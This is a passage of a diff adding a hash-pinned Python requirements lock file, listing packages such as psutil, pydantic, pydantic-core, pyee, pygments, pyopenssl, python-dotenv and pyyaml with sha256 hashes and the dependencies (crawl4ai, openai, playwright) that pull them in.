--hash=sha256:96f7c5c15656040ddcbc51e56dc59b58aa25999d743c126abd425b9766ab43e9 \ + --hash=sha256:978f28401afbc76cdc3df9e1717b4229a06b626a1dcc75db4e1f2beb3884c3e9 \ + --hash=sha256:98914de2c4d7f0f9f4a8c6ea4bf05841f4175796941e3ef7d47eb718f22311fb \ + --hash=sha256:9a2a8a50a93dee0268a860a07fa3b4bd968f8ce4dbd794957da772f395368526 \ + --hash=sha256:9cbfff4423eef4cc6cafc021469641a2b835f610b2647a6c5281903e21b8670d \ + --hash=sha256:9e9ab13760aa8b6d0881ae7cb04fd891d8d490cd2554ea8e79bb278399169bcc \ + --hash=sha256:9f3551b8a35c1df3e7ea4d2d86edee15f0dde1bddd434a71744048683544d0ef \ + --hash=sha256:9f86f7259efe2c951f43e57d471c9b41daa5bfc7db9f67189059cf1ae6d77fd9 \ + --hash=sha256:9fb0a5be8d9aa213150e8d8148a42aca4984b285bcad1e69587dc4298edd929b \ + --hash=sha256:a219f0ac59817a9114dd2aa57c13180f993e819ba658c7ddab4b66ed1ee0d370 \ + --hash=sha256:a419ee85e654927baabda3929c03c0cc1112bf472ff0dfd6142f4e3a81ca4162 \ + --hash=sha256:a4d7a54719b67338a305dca2ce6aafe366817df94ddfd4b5514374356f5ca546 \ + --hash=sha256:a5793c7698a53f56f4a1889a4737c7eeb1b7ad0842fa6b1abca22913ff79c8c1 \ + --hash=sha256:a5e8ef588c109725dc713ba69aadcac00a1ef90c2ce9c0a8c7075128f569f47f \ + --hash=sha256:a74bfa37147cc08fb29df10bd9c16f40fa7f860cd3a6d2fff853323a94f6e17f \ + --hash=sha256:ada748108a43d29b7c328ba7db3755327cd94f028bcc1a7ee3f0addcfacd9c38 \ + --hash=sha256:ae58f361bd5dae942717c65d3413b478c70aea9c462599e7b9adad3731db3894 \ + --hash=sha256:b28f41fa3b8c6900457f858ec5b03998f3a6d535fbc1bb2edec5961ea05ec429 \ + --hash=sha256:b3083bfe87f95c756e610bd8025f26cbd1cd4aaa03a422f2d65efb7a97cd53d8 \ + --hash=sha256:b61805357d966680acf68b3b6d49772631ed9df44ebece10ff1460e117a7da8a \ + --hash=sha256:b77c313314524ca9c38fbd70f73515d04597ac58c40c939bc0e71eeb4abff680 \ + --hash=sha256:bee7d3aed13d56f54e681df38c3a23031bc9e3863f687d9d598825c9146acd7d \ + --hash=sha256:c02c0e570c5c7e077b0181a9f3cdb7d4c3617d1cda6b5c95bd5d34022923d82c \ + --hash=sha256:c174bfd1c48a1b51a3078e95586dde718374bac79719ab3541ec9e74aec40574 \ + --hash=sha256:c2ba30a89035b57b73e00475de948521602f543d79ce01db10b04b36c4c76fc8 \ + --hash=sha256:c3e98c55bde2bcf7db3c70d1aed7ae9aa8aebbf19a250c66645cde44cdb8b867 \ + --hash=sha256:c3ef2818d63bc86071e9d2989ae75a1bc32b8f7059cfd9f5abbbee70c32e2ed6 \ + --hash=sha256:c83acbce9f2b5e3f5f5eda9e53d2001fed22fcdfef81274a9e02d8fd53b70a30 \ + --hash=sha256:c9281e922c072158c91974d4589f1dbe0fee6d467f284c28e463f9f5a4d933f4 \ + --hash=sha256:cc07876cfb079b6f6f36d21ce75784ad6c2c6b563eeac0ed26c2fa2669b85df9 \ + --hash=sha256:ccf4f7a79e26bb7efb06ecd50c177833b71df05cbc748701372325e6bcc17f6f \ + --hash=sha256:cdee8205a44d0be91bbac4c41b95d86641b72dfc7aef1279400e4fda3f26a937 \ + --hash=sha256:ceb3e879afac028f93d272c957814695dc5569e4904262dbee92f6c41bd5e4a3 \ + --hash=sha256:d1f5a500bfcbb2c0ab85e98a0dcd70f5899d34efe365a0187700369a79603031 \ + --hash=sha256:d42a9a856a4a6e2f6c10f1318c07e7daa498d6593abe745c71dae4521a26ca39 \ + --hash=sha256:d83b12902eb8bce151259c86c03ba746600b2d994543de46e370cecf96c452f2 \ + --hash=sha256:d8e017eeb7482bed34cdb0d61cf2bcfc88d104bbab296a17cd16a6af8aabc70e \ + --hash=sha256:db3ae52ccc150dbc84704e9d642743897f3e1c54742ff34cacb661e52e3818a9 \ + --hash=sha256:dbab5f5ff6897c81f355d079010cdae85b02e5a0b518b5251523b8ad8ae9ac3c \ + --hash=sha256:dc4242ca653c9b30ab51c5f8193323e7bc0928f897ee9103201e59a43abcb72e \ + --hash=sha256:dcbf346a318a5e30063f547630b02bb787ce2f45b6368d5da143660b6a3835d8 \ + --hash=sha256:dd2ac8f5b643454c2cc6b6118b13da16e88f4a6434fc3ba61aca384029f04f36 \ + --hash=sha256:e1d52a05dc417279f7e5c7618c5dfbbc29923aaf9bc0a5c1802ddcebf54c61a0 \ + --hash=sha256:e6720ba44ad7e72174314d0e1fb0172494cff5c73a3a8a2159c3d2402ff15565 \ + --hash=sha256:e738ab81179510ce79b2eac9a6ecf47feffd9e76d1c72e403005dddb6e36c06c \ + --hash=sha256:e904d4d01f36bd6e197590be1533c44e06058771e0746dd073a8ebb3ef880858 \ + --hash=sha256:e9f165403b81fea7e89c932d89046a1e3d9a3a60e8d7ef2f249dccdcb0982bf5 \ + --hash=sha256:ec6a85f424afa8d23e0d9a094e5dbb6eda01da91c92b9183cd433768247ffc97 \ + --hash=sha256:ee19113bce2f3acd46432050688b70f61acd6857d75abb9ec96341b7e9ced123 \ + --hash=sha256:ef3b928d9c984322b5c44e6964d8dbc653da87d2d8ee1647fa6da43072e650a9 \ + --hash=sha256:f273dcf7149a50527c4fd1f55cfe9eac0f60753f5af544b4c9352578e20c0874 \ + --hash=sha256:f5470694918830da62fac9e69133b53d23b736d7070e587b27a4a2be37e08e68 \ + --hash=sha256:f574e460d1c8a08384a016fdb09ccf3543433263ed6b2f97104f979e64ea57c2 \ + --hash=sha256:f85915e00dcb1cd9f2f890ead064ed40a27df06f0db65be427b29482ae357572 \ + --hash=sha256:fc2461ecc45f17893f8207e73b46ea8ba93e33630e51cf4af3fbc21d47462b1a \ + --hash=sha256:ff6b113f50bc066a698db5d944d2c6dc7507168dd3341e255a8892fd0715a558 + # via + # aiohttp + # yarl +psutil==7.2.2 \ + --hash=sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372 \ + --hash=sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9 \ + --hash=sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841 \ + --hash=sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63 \ + --hash=sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979 \ + --hash=sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a \ + --hash=sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b \ + --hash=sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9 \ + --hash=sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee \ + --hash=sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312 \ + --hash=sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b \ + --hash=sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9 \ + --hash=sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e \ + --hash=sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc \ + --hash=sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1 \ + --hash=sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf \ + --hash=sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea \ + --hash=sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988 \ + --hash=sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486 \ + --hash=sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00 \ + --hash=sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8 + # via crawl4ai +pycparser==3.0 \ + --hash=sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29 \ + --hash=sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992 + # via cffi +pydantic==2.13.5 \ + --hash=sha256:346a034f080da3755d8e9cb5e00e8b07de1d39e4f6e2c87d8ab7cafa0b269a73 \ + --hash=sha256:51a9c5f7b2f8e636f04c6cada605d9b6a3bf1348fdf945a3d8869b19bba0ee08 + # via + # crawl4ai + # openai + # unclecode-litellm +pydantic-core==2.46.5 \ + --hash=sha256:013d6f3483d81e02e7c328831808f336c8596ee33b4bd4026b9ffb1e960b8942 \ + --hash=sha256:03b9666e41e35d8909852ba191a0607520f81b74eaf12ccf8737005dbb313821 \ + --hash=sha256:045ab3b6d308439e32b81cc173bba5b9018bc6ed896afd0c65b3b009b1699af5 \ + --hash=sha256:0bddb4020d8f04175865ccd17eff3040874fc11fb593f424edb452653b4b947c \ + --hash=sha256:0cdbada856a1c69a7624a64d3d9aefe79300bd6ef827b43a4f265010b9b55184 \ + --hash=sha256:0fc5be0abd4a407e200d844b404e33639a554e7bd0d448e7b9ae181be4789ac2 \ + --hash=sha256:10416c15b8839ecc4ef4d0885da76da6fd0f67333a0eb8aff6d93c4b8f2910fc \ + --hash=sha256:15f4a94963c95accac15b7b657bb177d3ad82bb90b0d0526d9a9b85079925db5 \ + --hash=sha256:18a09e1e1011b462f2e32774f25859ef1223d5c2b0546a633cf56654710721e0 \ + --hash=sha256:193375f3548919d3f0b60936ca113ada3e38f264f91b9b8e0508efaad57be931 \ + --hash=sha256:1a353f84de772f423b5ffb11d7ae352fbbef0f446f3c0b0af0f8236d7233606e \ + --hash=sha256:1e449def1945a462c464331254e5a44fca7c3b4f9aedf59ec2f50f8066dd8e25 \ + --hash=sha256:1e5aad1220a1192c42341c8fd4a8686657e73ab2a920c970bdc4de334fe3193d \ + --hash=sha256:200aa3dc9f8d54f0754f43247c0bad0999fdcfbfd2488384dd44f37279271fe6 \ + --hash=sha256:2471fd51c61c610e1dcf7de44d7299283661654d11264ab4802b303368d69c47 \ + --hash=sha256:24922243639cbdac66c75fcb6fd6495a9cb52b213d62f9a0d16f0310b1ff8038 \ + --hash=sha256:28a6a556cd3b6066bea827857f9d9cce027c96f776e512f544a581f9e42161f8 \ + --hash=sha256:2bc9419666990c06d7397831f2126a1ecc3594aaa3ff7de5bf2d066802f4e07b \ + --hash=sha256:2cbd9a5eff05e51c447c34dfa4632145b26b09120cf04bd0c871e44c1a5e1c9a \ + --hash=sha256:2d330aaba8621b1edcec8ae2c4050f63b84ccf6d98723a8f212e9684713abf0e \ + --hash=sha256:2d5d76654becf5efd62c9e51c3756c67b49498b0c9a40884934c40807adbd074 \ + --hash=sha256:337639ba62a11acde6ef3aeb08c8ea755f8ef1fe5e513356c0f36a2b0d7568b0 \ + --hash=sha256:347ec774390c87326a2e4929d58d3f7e8763a104d5d35f4cd595a4c952366433 \ + --hash=sha256:356c8368cbc321050b169595683a2e1d63413b1e0e2868b330af9fc14c616d3f \ + --hash=sha256:37ae34309d7bd8c0d61ab839668058f2a7962ea1fc51d105d2db228fe0618034 \ + --hash=sha256:37ea7b83c935e5b0d68c9449b82651accf78a10828b2c02b2f2d9e9496446c21 \ + --hash=sha256:3a3e26b6a8274211bddee2d0e4d0d42778f17a34510f49d2ec44b58abfc41736 \ + --hash=sha256:3aa166e99c4f2985407fb8714aebede877ecb5455cf321b606adca926d30d5a0 \ + --hash=sha256:3d2652072b2d774947ba5cf78a9e59644ac62ee572daf6dd2e1dfe905e15b2b7 \ + --hash=sha256:40375c2d05acec10323e45dfe2077ac44bc74659008614af5069034e2cfc781c \ + --hash=sha256:413a717a410d0c817ef5b786a059415550b3794e1d0c2abffd9efb93a3d9f7b4 \ + --hash=sha256:46c25dda9d092a06c08db76ffe0a197107904d0dfac653f7d5306bbcd6d6119c \ + --hash=sha256:49776eab08766a08dfff7012f8b422dcd7e25e43b316eedf0477c24fcfa84b7c \ + --hash=sha256:4d44cf99ddebf875f9b68cc267aa684c99b7b44fe63ee1cac4ec163807290069 \ + --hash=sha256:4dedce55295becb61921e386b99d4f2706045306e7fa52249a33004c837379fb \ + --hash=sha256:4f8507560a9284e1370bb048ed4282012fbef4e8d109875b95e884d228552061 \ + --hash=sha256:4fdc8b93a41521988916eeaa271173fcca7fa0803d62f87675aac8dcec1c8e29 \ + --hash=sha256:5086029a57366b8cf81b130a43908738095c270c21a8d7f0e8bdfdb89718e2f3 \ + --hash=sha256:52e24eacdb536cade636aa90fb851835222becff8484b7001fdc78cb0290f2aa \ + --hash=sha256:53feb344243bb9510a9dec7bf3cf1b64d88a98af5dc7872a5160465f8b198c8e \ + --hash=sha256:545f26c504b27c3758439a5e6d9349931f0a04f855668d5fe323c89e82300a38 \ + --hash=sha256:54d510bac3ee52247af28ed4bb18a1e799f040ac60fd2bf5ccd4c92f1fbe786f \ + --hash=sha256:5cb482e9e84c851f4e623fe4acc1ced89168cf1fe18f7089db4548c8f5bbb65b \ + --hash=sha256:5e81740c09e310f5aa5cbd3e434a01c154d4bef93241c7877b39f211d2b78ba8 \ + --hash=sha256:5ee239d575f80b08eca11f6e20f90c4c695de7825c67eefe6091fbf20dda648e \ + --hash=sha256:5f194189415698233dd1114a093a9b56e61e2c57e11b469be3b0506f46f0771c \ + --hash=sha256:5f93c5fe914d75fbec9a49209b00da5f08e9e467d69da2b1510c81940cfd10be \ + --hash=sha256:657b40d6240c0a7b6a64b30f22d1e3aa631c7e846c621b0c0f6d1d75e2e15ea6 \ + --hash=sha256:6d30e1a4f138b8951063e9a394752a9179b51da288ffa507b1e659222f4c1793 \ + --hash=sha256:6f7b393a8b3da82f5c1fc0751e6d01ac6c55b93c18226a60bdfba4a724efafd1 \ + --hash=sha256:701b2e04b560eeb4bddf7a25ab8ca476176e34fdbd9a0e18196f0d12d4685f0b \ + --hash=sha256:771cf63ae0b1b50dd22e5f3e3549fab5f3f4ff1635d352a9e1a97fe01c7b2e64 \ + --hash=sha256:79bdfa52f843137045b2d081cc05c120ba6665d29b7559c2c47690906f39279f \ + --hash=sha256:7ac031912d54f3d83ef3b3eb98dfabc1608802e2202263d25957eeed40b94761 \ + --hash=sha256:7b0fc826b16c55e561e5d2a0c5c77b051ba1d92808118c4e4b5390f5e0cf191d \ + --hash=sha256:7c6be839a5a8312626b32029a415644a0846b420bc8b52b95b28cd92da162168 \ + --hash=sha256:816ff0a6550ffc06c098ccd2e0698600f9aa7da192a79eaa6f9af504a35db869 \ + --hash=sha256:82a36973cf8a2ef5406f4fe2edbf8ed0c99629535d959e0b100c76a32535a111 \ + --hash=sha256:837b396ca3d7b74091ca623f6cbd8351bd42d670a79c2683e79fb089f06a2de5 \ + --hash=sha256:850a08d167dde16db8702c274f320c7be9d7da6f6dff2b58b18f9e815bd94f5b \ + --hash=sha256:8816f3d218beb4b787de5c9759c259b8fa61f9dec42dc7811f320a33771778b7 \ + --hash=sha256:892a881d5f68c2b9ea304b7a6c2c60d9343df578a311b0f86b94bc8f1ffe8129 \ + --hash=sha256:895395f8918627b04efb1ad2a4cf605387143300ba03304cd1dfa6d03f5e095e \ + --hash=sha256:8b10e3e8fd7ddc2bd915848a2768e44c15b22936f1cc54c462ad1164deb02655 \ + --hash=sha256:8e24d8f05fa2d28513d94e877e9c75ad66175376209b3977f916e240e623193c \ + --hash=sha256:8feeac04b5794e513e710af2f9c87d49f31a6dc47967bb264a1fed61a8989bec \ + --hash=sha256:9432f3598db432cb51c5b37fdbf29a60fcccc79e30d37a05022776a6bc4ab689 \ + --hash=sha256:976e1128455aa595ea04c79ccfedff1aaeab96ee013fcc916bed120c4f0ad94f \ + --hash=sha256:978e7b97d4824b5be09c69fb70507cbde3b0323fc147332ca40a94d9a6a0ebbf \ + --hash=sha256:97bf8de4d541598c94a59344eeb988a94c08ff76b5723c41f6567ec18c7892ea \ + --hash=sha256:97cf3eb53a8cccacf9d46686a0926186c9bfb5574f2ed66d3639d5fe117cd3a9 \ + --hash=sha256:9b68938dd5b0c783d88ff8e2dcc69451b5eb936fe212d516b21b9d5567f6d464 \ + --hash=sha256:9c4b71f10dd532fb7a5cbc8f58707779e64f03a258c2bf8bfbaecfcd9970b519 \ + --hash=sha256:9f47b8a949e60f027f0aa0a6f6c7b7e9c55cbf4380d10b344e282fa4e7ab1e1b \ + --hash=sha256:a1dee1b804ff4d11c663636cf15d2ea47e9f79cd56c033fb1cbf08924842a48f \ + --hash=sha256:a2468d93d181667a7abd66e1b64bb9f76f361b0fef8faddf687456453576f5ee \ + --hash=sha256:a2a5e1d0ff29adddc9f6d6821a66302e4493f8ca898b715b6b1182c2c201ea0a \ + --hash=sha256:a39ac25a9a2fa4072efdb429833c4a4c8009a51ff9eea3eeae131713cd27991e \ + --hash=sha256:a445486499897b88a7d6c310c88ed64dd37b1b59bfd7ae9107490bbb362f47d6 \ + --hash=sha256:a91c17edf6eea2402cb5457b4c89e99bc5ed1004aa34c4adf1d4258c1a5c22c2 \ + --hash=sha256:ab4b66edffb32d9e951efb3814bd104b8367a7501b81b955cacb5726d897389f \ + --hash=sha256:aca6c767f552b21b10f774aeac128e828eafb796adfa1b666a18bf6321453c3a \ + --hash=sha256:acf8a67ba51f4ca9ddbd0e6b3000a65ac51ab734661778b3e7ba64d99a710f2f \ + --hash=sha256:b10ec717381bdbfafef34607824db4c91de69ff085e4fca3b2af91b4fa17e68a \ + --hash=sha256:b49924c73a235e969511bf2aabdff3beebf9820931f646c80274d5d780010c47 \ + --hash=sha256:b6acfb46a814762367fb7ba0828b0a17d441b92ce249a0e007474c9072662dda \ + --hash=sha256:b7ca9034437b6022f941f4857459562ee00a560b97e7cce8a0ec5a74fc6766e0 \ + --hash=sha256:b98134087d9de723658d17a42c7d0da8d6e2ef08015dee7dc93889047315f5e4 \ + --hash=sha256:b9fe6fb92520e3fd61f2e49000b6911b188824f089b75973ea06d6267f0b476d \ + --hash=sha256:bce57638e08ac148e5778cce7feb968307a727d66f8e2274a543d0cf0c9ad6a3 \ + --hash=sha256:c14ad3bdc85ee7f318742c457ca3968a92126d144b15721c759033bfb06296c2 \ + --hash=sha256:c1c43ad4339643d70ebb8124e1305a7dab423001eff58bb41a0f731adbc98355 \ + --hash=sha256:c3471e5c4a949c26ec00a77f01df59096aa9495877de76fd60a980f8ee6be461 \ + --hash=sha256:c583b927a8838dab890706a6fa7573fbb8b70e24000ef9f7238e2d6f6435a5ed \ + --hash=sha256:c76fe65e607be28c7fd4d56fc3c42b1583aa058ce3408b7ad0fd540171d31f9f \ + --hash=sha256:c7ea57fc63aa7da93a1bd2d644e6577befae10c52c4e36377635eea1056a74f5 \ + --hash=sha256:cd5214352ae68f3b5e9af7768bdc5253695ee069675db3480518420b3be881f2 \ + --hash=sha256:cdbb78909f52b981d3b2d56b97328d71eb0b974c36bd77c920123a7ebb192829 \ + --hash=sha256:cdc8b74ecc48c0cb1e9607a05ec4e9e88db60a19ffcc9a1d5f9088ede40c8dc0 \ + --hash=sha256:d0a24b40877af2de4950252be9d21eaf7fb07660f3c2cae1f56c6b599ada5266 \ + --hash=sha256:d22a945598fb91236b4dd793a6e42e4f3dd7740bb5aace5ebd7d4c08d13bb575 \ + --hash=sha256:d2f9fc07a8042a8f95925b35c4f04f469707c981fc33245b6ca187cf5d2dd290 \ + --hash=sha256:d625a186a65201c23a9e3b8ed9c47e90a026e03256608cc91851c6709096844f \ + --hash=sha256:d925f3d9afd05a8c0fb3a1031463a8d59ebe5e2afad297e29c78be19e13b4e62 \ + --hash=sha256:e64e88d5585bea9ce95861079de72006c7fa6d3df4e3a3b65ba31eb979c15c9f \ + --hash=sha256:e652ab17569c94bff5475520f907b7148b8c24036a8ebbe5cf7cf7493d28579a \ + --hash=sha256:e7b891faeedeafba41b2983e5001a81b6a915b69544c7e7570d1989ce1c36ac7 \ + --hash=sha256:e80675d75ae2cd14372cb65cad5400d9347a3d3f6c13000183f22dfd027283ed \ + --hash=sha256:e9c134bb666dd54b778b9fc0d2b50cbb7f979b9e3716f26a88c9ab3b6fc1dd0f \ + --hash=sha256:eb7d8d0e5886a89a55d2eef490e272fa965a9d57c6b29a5b5088a7997ec2cad1 \ + --hash=sha256:ecb42011e12ee19cafbc312887cbf3546959fe02fbad44f272d4be5baa997615 \ + --hash=sha256:ef3fbbf161dc9351a2fe0422e51b129f9e97e42385bd0320b309c15f7d287dd8 \ + --hash=sha256:efd62a42486f1bda5d24cb4f63d15a3c7768375fe83d36f9417b4ad7a2fb20b3 \ + --hash=sha256:f077d0b97ab11fa7dcc633fca53515f290bca8a8a633e966d5b6d1879d9ed01a \ + --hash=sha256:f332f0e72a5a0400141f830744e141bf9f97917878dbe968669e8a7fefea78ff \ + --hash=sha256:f7b0ec93a2893de856652154d73b7ba622f26fa97726487dcac373de5f4c6084 \ + --hash=sha256:fa10ef4112775900e7a0661068635eb67b2ab824fbde764de6e0e21982a93db0 \ + --hash=sha256:fc5d783bd4a2387e97b8a2d5ec781cfb92b3d893bf82370548e99db5915935d3 \ + --hash=sha256:fc8515076c11f3cfdf4fb142dcca0fe384b1230a3b5415458ac84f3e0903ec13 \ + --hash=sha256:ff218293c9c806138dca139765e3b067621be52bcd93cdc14c7711be7ddc90a9 + # via pydantic +pyee==13.0.1 \ + --hash=sha256:0b931f7c14535667ed4c7e0d531716368715e860b988770fc7eb8578d1f67fc8 \ + --hash=sha256:af2f8fede4171ef667dfded53f96e2ed0d6e6bd7ee3bb46437f77e3b57689228 + # via + # patchright + # playwright +pygments==2.21.0 \ + --hash=sha256:2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377137d9 \ + --hash=sha256:610ca751c9bc2492b38eb9a38a7fbc93edbbb2d7182edaf34e66ae493dee5c8c + # via rich +pyopenssl==26.4.0 \ + --hash=sha256:28dfcce0162b9211413e26dfbfdf1d24317fbeba18fc93c12400a1856b2a0bc7 \ + --hash=sha256:f0eb0cb2d581d3ad2b9c489468485e7f2ab6727d08401bcf9d824c3caddf3c1c + # via crawl4ai +python-dotenv==1.2.3 \ + --hash=sha256:904552145e8bfed22162c09dab1c2b9b54fefa7b23ba780f4f26ca0316b0f0d9 \ + --hash=sha256:a20a594dabeaa385725aa239d5244871c143ecb356add8a20fcf23773a6c3a35 + # via + # crawl4ai + # unclecode-litellm +pyyaml==6.0.3 \ + --hash=sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c \ + --hash=sha256:0150219816b6a1fa26fb4699fb7daa9caf09eb1999f3b70fb6e786805e80375a \ + --hash=sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3 \ + --hash=sha256:02ea2dfa234451bbb8772601d7b8e426c2bfa197136796224e50e35a78777956 \ + --hash=sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6 \ + --hash=sha256:10892704fc220243f5305762e276552a0395f7beb4dbf9b14ec8fd43b57f126c \ + --hash=sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65 \ + --hash=sha256:1d37d57ad971609cf3c53ba6a7e365e40660e3be0e5175fa9f2365a379d6095a \ + --hash=sha256:1ebe39cb5fc479422b83de611d14e2c0d3bb2a18bbcb01f229ab3cfbd8fee7a0 \ + --hash=sha256:214ed4befebe12df36bcc8bc2b64b396ca31be9304b8f59e25c11cf94a4c033b \ + --hash=sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1 \ + --hash=sha256:22ba7cfcad58ef3ecddc7ed1db3409af68d023b7f940da23c6c2a1890976eda6 \ + --hash=sha256:27c0abcb4a5dac13684a37f76e701e054692a9b2d3064b70f5e4eb54810553d7 \ + --hash=sha256:28c8d926f98f432f88adc23edf2e6d4921ac26fb084b028c733d01868d19007e \ + --hash=sha256:2e71d11abed7344e42a8849600193d15b6def118602c4c176f748e4583246007 \ + --hash=sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310 \ + --hash=sha256:37503bfbfc9d2c40b344d06b2199cf0e96e97957ab1c1b546fd4f87e53e5d3e4 \ + --hash=sha256:3c5677e12444c15717b902a5798264fa7909e41153cdf9ef7ad571b704a63dd9 \ + --hash=sha256:3ff07ec89bae51176c0549bc4c63aa6202991da2d9a6129d7aef7f1407d3f295 \ + --hash=sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea \ + --hash=sha256:418cf3f2111bc80e0933b2cd8cd04f286338bb88bdc7bc8e6dd775ebde60b5e0 \ + --hash=sha256:44edc647873928551a01e7a563d7452ccdebee747728c1080d881d68af7b997e \ + --hash=sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac \ + --hash=sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9 \ + --hash=sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7 \ + --hash=sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35 \ + --hash=sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb \ + --hash=sha256:5cf4e27da7e3fbed4d6c3d8e797387aaad68102272f8f9752883bc32d61cb87b \ + --hash=sha256:5e0b74767e5f8c593e8c9b5912019159ed0533c70051e9cce3e8b6aa699fcd69 \ + --hash=sha256:5ed875a24292240029e4483f9d4a4b8a1ae08843b9c54f43fcc11e404532a8a5 \ + --hash=sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b \ + --hash=sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c \ + --hash=sha256:6344df0d5755a2c9a276d4473ae6b90647e216ab4757f8426893b5dd2ac3f369 \ + --hash=sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd \ + --hash=sha256:652cb6edd41e718550aad172851962662ff2681490a8a711af6a4d288dd96824 \ + --hash=sha256:66291b10affd76d76f54fad28e22e51719ef9ba22b29e1d7d03d6777a9174198 \ + --hash=sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065 \ + --hash=sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c \ + --hash=sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c \ + --hash=sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764 \ + --hash=sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32270196 \ + --hash=sha256:8098f252adfa6c80ab48096053f512f2321f0b998f98150cea9bd23d83e1467b \ + --hash=sha256:850774a7879607d3a6f50d36d04f00ee69e7fc816450e5f7e58d7f17f1ae5c00 \ + --hash=sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac \ + --hash=sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8 \ + --hash=sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e \ + --hash=sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28 \ + --hash=sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3 \ + --hash=sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5 \ + --hash=sha256:9c57bb8c96f6d1808c030b1687b9b5fb476abaa47f0db9c0101f5e9f394e97f4 \ + --hash=sha256:9c7708761fccb9397fe64bbc0395abcae8c4bf7b0eac081e12b809bf47700d0b \ + --hash=sha256:9f3bfb4965eb874431221a3ff3fdcddc7e74e3b07799e0e84ca4a0f867d449bf \ + --hash=sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5 \ + --hash=sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702 \ + --hash=sha256:b30236e45cf30d2b8e7b3e85881719e98507abed1011bf463a8fa23e9c3e98a8 \ + --hash=sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788 \ + --hash=sha256:b865addae83924361678b652338317d1bd7e79b1f4596f96b96c77a5a34b34da \ + --hash=sha256:b8bb0864c5a28024fac8a632c443c87c5aa6f215c0b126c449ae1a150412f31d \ + --hash=sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc \ + --hash=sha256:bdb2c67c6c1390b63c6ff89f210c8fd09d9a1217a465701eac7316313c915e4c \ + --hash=sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba \ + --hash=sha256:c2514fceb77bc5e7a2f7adfaa1feb2fb311607c9cb518dbc378688ec73d8292f \ + --hash=sha256:c3355370a2c156cffb25e876646f149d5d68f5e0a3ce86a5084dd0b64a994917 \ + --hash=sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5 \ + --hash=sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26 \ + 